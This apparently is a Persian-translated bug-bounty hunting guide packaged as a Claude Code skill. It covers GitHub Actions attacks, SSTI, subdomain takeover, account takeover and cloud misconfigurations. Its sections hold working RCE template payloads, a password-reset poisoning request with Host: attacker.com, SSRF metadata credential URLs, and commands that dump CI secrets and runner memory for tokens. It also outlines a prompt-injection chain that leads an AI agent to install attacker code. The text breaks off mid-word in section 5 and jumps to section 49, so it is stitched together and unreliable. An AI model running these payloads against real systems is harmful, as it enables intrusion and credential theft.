‏‏غواصی-عمیق: ‏از یافته‌ی sisakulint تا گزارش Bounty

‏یافته‌های sisakulint بالقوه قابل‌بهره‌برداری‌اند — ‏نه باگ‌های تأییدشده. ‏هر یافته به verification دستی نیاز دارد. ‏الگوهای پایین از ۳۶ گزارش پرداخت‌شده‌ی دنیای-واقعی ‏(+۲۵۰ هزار دلار payout کل) استخراج شده‌اند. ‏هر بخش تفکری را دنبال می‌کند که به پرداخت‌های bounty واقعی انجامید.

‏‏۱. ‏تزریق کد / ‏تزریق آرگومان

‏سؤال گیت: آیا مهاجم خارجی می‌تواند این workflow را تریگر کند و آیا ورودی آلوده به بافت shell می‌رسد؟

‏عمق verification:

  1. ‏دسترس‌پذیری تریگر — issues: opened و issue_comment: created توسط هر کاربر GitHub قابل‌تریگرند. ‏‏pull_request_target از طریق PR مربوط به fork قابل‌تریگر است. ‏چک کن آیا شرط if:ای بر اساس actor/association فیلتر می‌کند.
  2. ‏‏taint مستقیم در برابر ترانزیتیو — ‏خود فایل workflow ممکن است امن به‌نظر رسد. ‏‏Cycode باگ ۱۳هزار دلاری Bazel را پیدا کرد چون cherry-picker.yml مقدار ${{ github.event.issue.title }} را از طریق with: به اکشن composite در repo دیگر ‏(bazelbuild/continuous-integration) می‌داد. ‏‏action.yml مربوط به اکشن composite مقدار run: TITLE="${{ inputs.issue-title }}" داشت. ‏اسکنرهای متعارف ‏(actionlint) این را از دست دادند چون uses: را تا اکشن‌های composite خارجی دنبال نمی‌کنند. همیشه action.yml مربوط به اکشن composite را fetch و بخوان.
  3. ‏ساخت payload — ‏نام‌های branch نمی‌توانند فاصله داشته باشند. ‏مهاجم Ultralytics YOLO از ${IFS} ‏(Internal Field Separator) و brace expansion مربوط به Bash مقدار {curl,-sSfL,URL} برای دورزدن این استفاده کرد. ‏عنوان‌ها/بدنه‌های issue چنین محدودیتی ندارند.
  4. ‏دسترس‌پذیری Secretها — permissions: را در سطح workflow و job چک کن. ‏بدون بلوک permissions: صریح = ‏پیش‌فرض repo ‏(اغلب write-all). ‏بلوک‌های env: را برای ${{ secrets.* }} چک کن. ‏چک کن آیا GITHUB_TOKEN مقدار permission مربوط به write دارد.
  5. ‏زنجیره‌ی impact — ‏Bazel: ‏تزریق عنوان issue ← ‏تزریق shell مربوط به اکشن composite ← ‏BAZEL_IO_TOKEN + ‏GITHUB_TOKEN (write-all) ← ‏قابلیت بک‌دوردادن کدبیس Bazel ‏(روی Google، ‏Kubernetes، ‏Uber، ‏LinkedIn اثر می‌گذارد).

‏سیگنال‌های kill: ${{ contains(...) }} یا ${{ startsWith(...) }} که boolean برمی‌گردانند قابل-تزریق نیستند — مثبت‌کاذب. ‏‏${{ github.event.pull_request.labels.*.name }} داخل contains() به true/false ارزیابی می‌شود، ‏نه متن label.

‏‏۲. ‏‏Checkout نامعتبر ‏(Pwn Request)

‏سؤال گیت: آیا workflow کد کنترل‌شده-توسط-مهاجم را checkout می‌کند و بعد چیزی از آن checkout اجرا می‌کند؟

‏عمق verification:

  1. ‏اجرای کد صریح در برابر ضمنی — ‏باگ ۷.۵هزار دلاری Flank: gh pr checkout ← ‏gradle/gradle-build-action مقدار Gradle را اجرا می‌کند ← ‏Gradle خودکار settings.gradle.kts را به‌عنوان اسکریپت Kotlin ارزیابی می‌کند. ‏مهاجم هرگز فرمان run: ننوشت. هر ابزار buildی که کانفیگ را از repo می‌خواند بردار اجرا است: Makefile، package.json ‏(اسکریپت‌های postinstall)، setup.py، build.gradle.kts، .cargo/config.toml، Gemfile.
  2. ‏‏issue_comment به‌اندازه‌ی pull_request_target خطرناک است — ‏سرقت توکن NPM مربوط به Rspack: ‏تریگر issue_comment + ‏checkout مربوط به refs/pull/${{ github.event.issue.number }}/head. ‏‏issue_comment در بافت repo مربوط به base با secretهای کامل اجرا می‌شود. ‏‏PRهای draft شامل‌اند. ‏بدون چک contributor-status. همیشه workflowهای issue_comment را برای الگوهای checkout مربوط به PR چک کن.
  3. ‏‏escalation مربوط به runner مربوط به self-hosted — ‏اگر runs-on: مقدار self-hosted دارد، ‏چک کن: ‏(الف) آیا runner زودگذر است؟ ‏(--ephemeral در config.sh). ‏(ب) آیا runner در گروه Docker است؟ ‏(docker run -v /:/host --privileged). ‏(ج) الگوی PyTorch: ‏ترفند contributor ‏(PR مربوط به فیکس typo ← ‏merge ← ‏وضعیت contributor ← ‏auto-trigger روی runner مربوط به self-hosted بدون تأیید) ← ‏RoR ‏(Runner-on-Runner: RUNNER_TRACKING_ID=0 + ‏نصب agent مربوط به runner مربوط به مهاجم) ← ‏صبر برای workflow ممتاز ← ‏سرقت PATها از .git/config یا حافظه‌ی پروسس.
  4. ‏‏TOCTOU — ‏workflowهای pull_request_target مربوط به label-gated: ‏مهاجم label اضافه‌شده می‌گیرد ‏(مهندسی اجتماعی)، ‏workflow وجود label را چک می‌کند، ‏مهاجم کامیت مخرب را بین چک و checkout پوش می‌کند. ‏‏ref: در زمان checkout به کامیت جدید ریزالو می‌شود. ‏refهای mutable ‏(github.event.pull_request.head.sha در زمان تریگر در برابر زمان checkout) علت ریشه‌ای‌اند.
  5. ‏‏پسا-بهره‌برداری — ‏بعد از دسترسی اولیه، ‏همه‌ی secretها را enum کن: env | base64، cat /proc/self/environ، gcore $(pgrep Runner.Worker) + ‏strings core.* | grep ghp_. ‏مهاجمان PyTorch سه PAT مربوط به bot گرفتند ← ‏ترکیبشان کردند تا محافظت branch روی main را دور بزنند.

‏سیگنال‌های kill: if: "!github.event.pull_request.head.repo.fork" مهاجمان خارجی را بلاک می‌کند. ‏‏permissions: {} در سطح workflow با فقط contents: read در سطح job آسیب را محدود می‌کند. ‏‏runnerهای ephemeral با پرچم --ephemeral ماندگاری را جلوگیری می‌کنند.

‏‏۳. ‏مسمومیت Artifact

‏سؤال گیت: آیا الگوی workflow دومرحله‌ای هست جایی که مرحله‌ی ۱ ‏(pull_request، ‏بدون secretها) artifactها را آپلود و مرحله‌ی ۲ ‏(workflow_run، ‏با secretها) آن‌ها را دانلود و استفاده می‌کند؟

‏عمق verification:

  1. ‏جریان artifact مربوط به بین-workflow — ‏آپلود/دانلود داخل-همان-workflow ‏(job مربوط به build ← ‏job مربوط به test از طریق needs:) قابل‌مسمومیت نیست چون PR مهاجم build خودش را اجرا می‌کند. ‏الگوی خطرناک این است: ‏workflow مربوط به pull_request آپلود می‌کند ← ‏workflow مربوط به workflow_run جدا دانلود می‌کند. ‏‏workflow_run روی تکمیل workflow دیگر تریگر می‌شود و در بافت ‏DEFAULT BRANCH با secretهای کامل اجرا می‌شود.
  2. ‏مسیر دانلود مهم است — actions/download-artifact با path: . یا مسیرهای نسبی-به-workspace ‏(grafana-server/bin) می‌تواند سورس‌کد، ‏اسکریپت‌های build یا باینری‌ها را بازنویسی کند. ‏الگوی امن: ‏استخراج به ${{ runner.temp }}/artifacts.
  3. ‏‏validation مربوط به منبع — ‏آیا مصرف‌کننده‌ی workflow_run چک می‌کند github.event.workflow_run.head_repository.full_name != github.repository؟ ‏اگر نه، ‏artifactهای PR مربوط به fork کورانه مصرف می‌شوند. ‏پایپ‌لاین release مربوط به Rust دقیقاً به همین آسیب‌پذیر بود.
  4. ‏‏ArtiPACKED ‏(persist-credentials) — actions/checkout به‌طور پیش‌فرض persist-credentials: true است. ‏این GITHUB_TOKEN را به .git/config می‌نویسد. ‏اگر مسیر آپلود artifact شامل .git/ باشد ‏(مثلاً path: .)، ‏توکن از artifact مربوط به Actions عموماً قابل‌دانلود است. ‏چک: ‏آیا هر گام upload-artifact از path: . یا مسیر پهنی که .git/ را شامل می‌شود استفاده می‌کند؟

‏سیگنال‌های kill: ‏آپلود و دانلود در همان run مربوط به workflow ‏(متصل با needs:). ‏مصرف‌کننده‌ی workflow_run که صراحتاً منشأ fork را چک می‌کند. ‏‏persist-credentials: false روی checkout.

‏‏۴. ‏مسمومیت Cache

‏سؤال گیت: آیا PR مربوط به fork می‌تواند ورودی cache بنویسد که branch پیش‌فرض بعداً در بافت ممتاز restore کند؟

‏بحرانی: ‏scoping مربوط به cache مربوط به GitHub این را کاملاً جلوگیری نمی‌کند. ‏branch مربوط به PR می‌تواند cacheهای branch پیش‌فرض را بخواند. ‏workflow مربوط به PR مربوط به fork می‌تواند ورودی‌های cache بنویسد. ‏اگر کلید cache deterministic باشد ‏(hashFiles('package-lock.json')) و مهاجم آن فایل را تغییر ندهد، ‏PR مربوط به fork به همان کلید cache می‌نویسد.

‏عمق verification:

  1. ‏قابلیت-پیش‌بینی کلید — key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }} کاملاً قابل‌پیش‌بینی است. ‏افزودن github.sha یا github.run_id به کلید آن را غیرقابل‌پیش‌بینی می‌کند. هر کلید cache را برای حضور کامپوننت غیرقابل‌پیش‌بینی چک کن.
  2. ‏بهره‌برداری سلسله‌مراتب cache — ‏workflowهای workflow_run و workflow_dispatch در بافت branch پیش‌فرض اجرا می‌شوند. ‏اگر به cacheهایی با کلیدهای قابل‌پیش‌بینی بنویسند، ‏مهاجمی که می‌تواند workflow مربوط به upstream را تریگر کند ‏(از طریق PR مربوط به fork) می‌تواند cache را پیش-مسموم کند. ‏الگوی run-dashboard-search-e2e.yml: ‏تریگر workflow_run ← ‏actions/cache با کلید hashFiles() ← ‏همه‌ی workflowهای PR این cache را می‌خوانند.
  3. ‏تزریق payload — ‏Cacheract: ‏تزریق بدافزار به cacheهای package manager ‏(node_modules/.cache، ~/.cache/pip، ~/.gradle/caches). ‏بدافزار خود-تکثیر می‌شود چون هر چرخه‌ی restore ← ‏build ← ‏save مقدار payload را حفظ می‌کند. ‏TTL مربوط به cache هفت روز است — ‏payload در سراسر چند run مربوط به workflow زنده می‌ماند.
  4. ‏مصرف ممتاز — ‏‏cache در workflow مربوط به push یا schedule روی branch پیش‌فرض restore می‌شود. ‏این workflowها دسترسی کامل secrets دارند. ‏وابستگی مسموم‌شده در جریان npm install / ‏pip install / ‏gradle build اجرا و secretها را exfiltrate می‌کند.
  5. ‏زنجیره‌ی Clinejection — ‏تزریق prompt ← ‏AI agent مقدار npm install از کامیت مهاجم اجرا می‌کند ← ‏Cacheract در cache مربوط به npm ← ‏workflow مربوط به publish شبانه cache را restore می‌کند ← ‏‏VSCE_PAT، ‏OVSX_PAT، ‏NPM_RELEASE_TOKEN دزدیده می‌شوند ← ‏نسخه‌ی مخرب Cline v2.3.0 برای ۸ ساعت منتشر شد.

‏سیگنال‌های kill: ‏کلید cache شامل github.sha یا github.run_id است. ‏کلیدهای cache جدا per workflow. ‏‏actions/cache/restore ‏(فقط-خواندنی) به‌جای actions/cache ‏(خواندنی-نوشتنی) در workflowهای PR.

‏‏۵. ‏‏Runnerهای Self-Hosted

‏سؤال گیت: آیا runner مربوط به self-hosted در repo عمومی استفاده می‌شود جایی که contributorهای خارجی می‌توانند workflowها را تریگر کنند؟

‏عمق verification:

  1. ‏تنظیمات تأیید — ‏پیش‌فرض: «تأیید لا
۴۹

بخش تکمیلی

SSTI -- Server-Side Template Injection
ترجمه‌ی کامل ✓بخش ۴۹ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Detection Payloads
{{7*7}}          -> 49 = Jinja2 / Twig / generic
${7*7}           -> 49 = Freemarker / Pebble / Velocity
<%= 7*7 %>       -> 49 = ERB (Ruby)
#{7*7}           -> 49 = Mako / some Ruby
*{7*7}           -> 49 = Spring (Thymeleaf)
{{7*'7'}}        -> 7777777 = Jinja2 (Twig gives 49)
Where to Test
  • Name/bio/description fields (profile pages)
  • Email templates (invoice name, username in confirmation email)
  • Custom error messages
  • PDF generators (invoice, report export)
  • URL path parameters
  • Search queries reflected in results
Jinja2 -> RCE (Python / Flask)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE (PHP / Symfony)
{{["id"]|filter("system")}}
Freemarker -> RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE (Ruby on Rails)
<%= `id` %>
۵۰

بخش تکمیلی

Subdomain Takeover
ترجمه‌ی کامل ✓بخش ۵۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Detection
# Check for dangling CNAMEs
cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt
# Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com

# Automated takeover detection
nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
Quick-Kill Fingerprints
"There isn't a GitHub Pages site here"  -> GitHub Pages
"NoSuchBucket"                          -> AWS S3
"No such app"                           -> Heroku
"404 Web Site not found"                -> Azure App Service
"Fastly error: unknown domain"          -> Fastly CDN
"project not found"                     -> GitLab Pages
"It looks like you may have typed..."   -> Shopify
Impact Escalation
  • Basic takeover: serve page under target.com subdomain -> Low/Medium
  • + Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
  • + OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
  • + CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
۵۱

بخش تکمیلی

ATO -- Account Takeover (Complete Taxonomy)
ترجمه‌ی کامل ✓بخش ۵۱ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏‏مسیر ۱: ‏مسمومیت ریست پسورد ‏(تزریق هدر Host)
POST /forgot-password
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@company.com
# If reset link = https://attacker.com/reset?token=XXXX -> ATO
# Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
‏‏مسیر ۲: ‏نشت توکن ریست در Referrer

‏بعد از کلیک لینک ریست، ‏اگر صفحه منابع خارجی لود کند ← ‏توکن در هدر Referer به دامین خارجی.

‏‏مسیر ۳: ‏توکن‌های ریست قابل‌پیش‌بینی / ‏ضعیف
# If token < 16 hex chars or numeric only -> brute-forceable
ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
‏‏مسیر ۴: ‏توکن منقضی‌نشونده / ‏Reuse

‏توکن بخواه ← ‏۲ ساعت صبر ← ‏استفاده کن ← ‏هنوز کار می‌کند؟ ‏توکن #۱ بخواه ← ‏توکن #۲ بخواه ← ‏از توکن #۱ استفاده کن ← ‏هنوز کار می‌کند؟

‏‏مسیر ۵: ‏تغییر ایمیل بدون احراز-هویت-مجدد
PUT /api/user/email
{"new_email": "attacker@evil.com"}
# If no current_password required -> attacker changes email -> locks out victim
‏‏مسیر ۶: ‏سوء‌استفاده‌ی لینک اکانت OAuth

‏می‌توانی اکانت OAuth از ایمیل متفاوتی به اکانت موجود لینک کنی؟

‏‏مسیر ۷: ‏تثبیت Session

‏GET /login ← ‏یادداشت کن Set-Cookie session=XYZ ← ‏لاگین کن ← ‏آیا session ID عوض می‌شود؟ ‏اگر نه = ‏fixation.

۵۲

بخش تکمیلی

Cloud / Infra Misconfigs
ترجمه‌ی کامل ✓بخش ۵۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

S3 / GCS / Azure Blob
# S3 public listing
aws s3 ls s3://target-bucket-name --no-sign-request

# Try common names
for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do
  curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
EC2 Metadata (via SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns role name, then:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Returns AccessKeyId, SecretAccessKey, Token -> Critical

# GCP (needs header Metadata-Flavor: Google):
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

# Azure (needs header Metadata: true):
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase Open Rules
curl -s "https://TARGET-APP.firebaseio.com/.json"
# If data returned -> open read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"'
# If success -> open write -> Critical
Exposed Admin Panels
/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env
Kubernetes / Docker
# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

# PHASE 4: VALIDATE

۵۳

دروازه‌ی اعتبارسنجی

The 7-Question Gate (Run BEFORE Writing ANY Report)
ترجمه‌ی کامل ✓بخش ۵۳ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏هر ۷ باید YES باشند. ‏هر NO ← ‏توقف.

‏‏Q1: ‏می‌توانم **همین حالا** با PoC واقعی بهره‌برداری کنم؟

‏درخواست دقیق HTTP را بنویس. ‏اگر نمی‌توانی درخواست کارکنی تولید کنی ← ‏بکشش.

‏‏Q2: ‏آیا روی کاربر واقعی‌ای اثر می‌گذارد که هیچ اکشن غیرعادی‌ای نکرده؟

‏بدون «کاربر باید…» با ۵ precondition. ‏قربانی کار خاصی نکرد.

‏‏Q3: ‏آیا impact عینی است ‏(پول، ‏PII، ‏ATO، ‏RCE)؟

‏«از نظر فنی ممکن» impact نیست. ‏«SSN قربانی را خواندم» impact است.

‏‏Q4: ‏آیا طبق سیاست برنامه در scope است؟

‏دامین/endpoint دقیق را علیه صفحه‌ی scope برنامه چک کن.

‏‏Q5: ‏آیا Hacktivity/changelog را برای تکراری چک کردم؟

‏گزارش‌های افشاشده‌ی برنامه و ورودی‌های changelog اخیر را بگرد.

‏‏Q6: ‏آیا در لیست «همیشه-ردشده» **نیست**؟

‏لیست پایین را چک کن. ‏اگر آنجاست و نمی‌توانی زنجیره‌اش کنی ← ‏بکشش.

‏‏Q7: ‏آیا triageکننده‌ای که این را می‌خواند می‌گوید «بله، ‏باگ واقعی است»؟

‏گزارشت را طوری بخوان که انگار triageکننده‌ی خسته‌ی ساعت ۵ بعدازظهر جمعه‌ای. ‏پاس می‌شود؟

۵۴

دروازه‌ی اعتبارسنجی

4 Pre-Submission Gates
ترجمه‌ی کامل ✓بخش ۵۴ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Gate 0: Reality Check (30 seconds)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)
Gate 1: Impact Validation (2 minutes)
[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely
Gate 2: Deduplication Check (5 minutes)
[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs
Gate 3: Report Quality (10 minutes)
[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix
۵۵

بخش تکمیلی

CVSS 3.1 Quick Guide
ترجمه‌ی کامل ✓بخش ۵۵ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

FactorLow (0-3.9)Medium (4-6.9)High (7-8.9)Critical (9-10)
Attack VectorPhysicalLocalAdjacentNetwork
PrivilegesHighLowNoneNone
User InteractionRequiredRequiredNoneNone
ImpactPartialPartialHighHigh (all 3)
Typical Scores by Bug Class
BugTypical CVSSSeverity
IDOR (read PII)6.5Medium
IDOR (write/delete)7.5High
Auth bypass -> admin9.8Critical
Stored XSS5.4-8.8Med-High
SQLi (data exfil)8.6High
SSRF (cloud metadata)9.1Critical
Race condition (double spend)7.5High
GraphQL auth bypass8.7High
JWT none algorithm9.1Critical

# ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

۵۶

زنجیره‌ها و ترکیب‌ها

Conditionally Valid With Chain
ترجمه‌ی کامل ✓بخش ۵۶ از ۷۴

زنجیره‌های attack که این primitive را به impact بالاتر می‌رسانند

‏این یافته‌های low وقتی زنجیره شوند باگ معتبر می‌شوند:

یافته‌ی Low+ ‏زنجیره= ‏باگ معتبر
‏‏Open redirect+ ‏سرقت کد OAuth‏ATO
‏‏Clickjacking+ ‏اکشن حساس + ‏PoC‏اکشن اکانت
‏‏CORS wildcard+ ‏exfil مربوط به credentialed‏سرقت داده
‏‏CSRF+ ‏تغییر state حساس‏تصرف اکانت
‏بدون rate limit+ ‏brute force مربوط به OTP‏ATO
‏‏SSRF ‏(فقط DNS)+ ‏اثبات دسترسی داخلی‏دسترسی شبکه‌ی داخلی
‏تزریق هدر Host+ ‏مسمومیت ریست پسورد‏ATO
‏‏Self-XSS+ ‏CSRF مربوط به login‏‏XSS ذخیره‌شده روی قربانی

# ‏‏فاز ۵: ‏گزارش

۵۷

بخش تکمیلی

HackerOne Report Template
ترجمه‌ی کامل ✓بخش ۵۷ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

۵۸

نمای کلی و کاربرد

Summary
ترجمه‌ی کامل ✓بخش ۵۸ از ۷۴

توضیح کلی، دامنه‌ی پوشش و زمان به‌کارگیری اسکیل

[۲-۳ جمله: ‏چیست، ‏کجاست، ‏مهاجم چه می‌تواند بکند]

۵۹

مراحل شکار

Steps To Reproduce
ترجمه‌ی کامل ✓بخش ۵۹ از ۷۴

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏به‌عنوان مهاجم لاگین کن ‏(اکانت A)
  2. ‏درخواست بفرست: ‏[درخواست دقیق را paste کن]
  3. ‏مشاهده کن: ‏[پاسخ دقیق نشان‌دهنده‌ی باگ]
  4. ‏تأیید کن: ‏[مهاجم چه به‌دست آورد]
مراحل استخراج‌شده
  1. ۱‏به‌عنوان مهاجم لاگین کن ‏(اکانت A)
  2. ۲‏درخواست بفرست: ‏[درخواست دقیق را paste کن]
  3. ۳‏مشاهده کن: ‏[پاسخ دقیق نشان‌دهنده‌ی باگ]
  4. ۴‏تأیید کن: ‏[مهاجم چه به‌دست آورد]
۶۰

بخش تکمیلی

Supporting Material
ترجمه‌ی کامل ✓بخش ۶۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

[اسکرین‌شات / ‏ویدیوی بهره‌برداری]

[درخواست/پاسخ Burp Suite]

۶۱

اهداف ارزشمند

Impact
ترجمه‌ی کامل ✓بخش ۶۱ از ۷۴

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏مهاجم می‌تواند [اکشن مشخص] با نتیجه‌ی [آسیب مشخص].

[اگر ممکن کمی کن: ‏«این همه‌ی X کاربر را متأثر می‌کند» یا «مهاجم می‌تواند به داده‌ی Y دسترسی بگیرد»]

۶۲

بخش تکمیلی

Severity Assessment
ترجمه‌ی کامل ✓بخش ۶۲ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

CVSS 3.1 Score: X.X ([Severity label])

Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None


۶۳

بخش تکمیلی

Bugcrowd Report Template
ترجمه‌ی کامل ✓بخش ۶۳ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]
۶۴

بخش تکمیلی

Human Tone Rules (Avoid AI-Sounding Writing)
ترجمه‌ی کامل ✓بخش ۶۴ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

  • Start sentences with the impact, not the vulnerability name
  • Write like you're explaining to a smart developer, not a textbook
  • Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
  • One concrete example beats three abstract sentences
  • No em dashes, no "comprehensive/leverage/seamless/ensure"
۶۵

سایر

Report Title Formula
ترجمه‌ی کامل ✓بخش ۶۵ از ۷۴

بخش تکمیلی سند

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API
۶۶

اهداف ارزشمند

Impact Statement Formula (First Paragraph)
ترجمه‌ی کامل ✓بخش ۶۶ از ۷۴

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].
۶۷

دروازه‌ی اعتبارسنجی

The 60-Second Pre-Submit Checklist
ترجمه‌ی کامل ✓بخش ۶۷ از ۷۴

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)
۶۸

بخش تکمیلی

Severity Escalation Language
ترجمه‌ی کامل ✓بخش ۶۸ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏وقتی payout در حال تنزل است، ‏از این پاسخ‌ها استفاده کن:

‏برنامه می‌گوید‏تو پاسخ می‌دهی
«به authentication نیاز دارد»«مهاجم فقط به اکانت رایگان نیاز دارد ‏(بدون نقش خاص)»
«‏impact محدود»«روی [N] کاربر / ‏[نوع PII] / ‏[مبلغ دلار] اثر می‌گذارد»
«قبلاً شناخته‌شده»«شماره‌ی گزارش را نشانم بده — ‏جستجو کردم و نیافتم»
«‏by design»«مستنداتی که می‌گوید این intended است نشانم بده»
«امتیاز CVSS کم»«‏CVSS مقدار impact کسب‌وکار را حساب نمی‌کند — ‏مهاجم می‌تواند [X] بدزدد»

# ‏‏منابع

۶۹

بخش تکمیلی

Bug Bounty Platforms
ترجمه‌ی کامل ✓بخش ۶۹ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

۷۰

بخش تکمیلی

Learning
ترجمه‌ی کامل ✓بخش ۷۰ از ۷۴

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

۷۱

Payload و الگوهای تشخیص

Wordlists
ترجمه‌ی کامل ✓بخش ۷۱ از ۷۴

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:

۷۲

Payload و الگوهای تشخیص

Payload Databases
ترجمه‌ی کامل ✓بخش ۷۲ از ۷۴

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏این بخش صرفاً کد / دستور است — بدون تغییر حفظ شده:


# INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.


